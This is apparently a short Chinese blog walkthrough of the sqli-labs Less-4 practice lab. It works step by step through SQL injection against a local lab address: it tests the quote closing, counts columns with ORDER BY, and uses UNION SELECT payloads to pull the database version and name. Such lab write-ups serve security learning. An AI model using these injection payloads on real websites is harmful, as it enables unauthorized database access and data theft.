SQL注入靶场sqli-labs less-4

sqli-labs靶场第三关less-4

1、确定注入点

http://192.168.128.3/sq/Less-4/?id=1

http://192.168.128.3/sq/Less-4/?id=2

有不同回显,判断可能存在注入,

2、判断注入类型

输入

http://192.168.128.3/sq/less-4/?id=1 and 1=1

http://192.168.128.3/sq/less-4/?id=1 and 1=2

回显一致,猜测不是数字型注

加单引号

http://192.168.128.3/sq/less-4/?id=1'

没有回显,猜测其他闭合方式

输入双引号

http://192.168.128.3/sq/Less-4/?id=1"

报出错误

由结果判断闭合方式为 ")

3、确定列数

http://192.168.128.3/sq/less-4/?id=1") order by 5 --+

http://192.168.128.3/sq/less-4/?id=1") order by 4 --+

http://192.168.128.3/sq/less-4/?id=1") order by 3 --+

4,5回显报错,3的时候回显

确定列数为3

4、确定回显位

http://192.168.128.3/sq/less-4/?id=-1") union select 1,2,3 --+

确定2,3为回显位置

5、确定数据库名,数据库版本

http://192.168.128.3/sq/Less-4/?id=-1") union select 1,version(),database()--+

5、爆出数据库名,表名,列名,数据

最终得到数据

大功告成

相关推荐
猿小喵6 分钟前
DBA之路,始于足下
数据库·dba
tyler_download16 分钟前
golang 实现比特币内核:实现基于椭圆曲线的数字签名和验证
开发语言·数据库·golang
小春学渗透18 分钟前
Day107:代码审计-PHP模型开发篇&MVC层&RCE执行&文件对比法&1day分析&0day验证
开发语言·安全·web安全·php·mvc
weixin_4493108441 分钟前
高效集成:聚水潭采购数据同步到MySQL
android·数据库·mysql
floret*43 分钟前
HiveSQL面试题
hive·sql
落樱坠入星野1 小时前
拿下阿里云之后如何在本地运行镜像进行分析
经验分享·安全·网络安全·阿里云·云计算
iSee8571 小时前
ArcGIS地理空间平台 manager 任意文件读取漏洞复现
安全
超栈1 小时前
HCIP(11)-期中综合实验(BGP、Peer、OSPF、VLAN、IP、Route-Policy)
运维·网络·网络协议·计算机网络·web安全·网络安全·信息与通信
Wh1teR0se1 小时前
XSS漏洞--常用payload及绕过
web安全·网络安全·xss
Cachel wood2 小时前
Github配置ssh key原理及操作步骤
运维·开发语言·数据库·windows·postgresql·ssh·github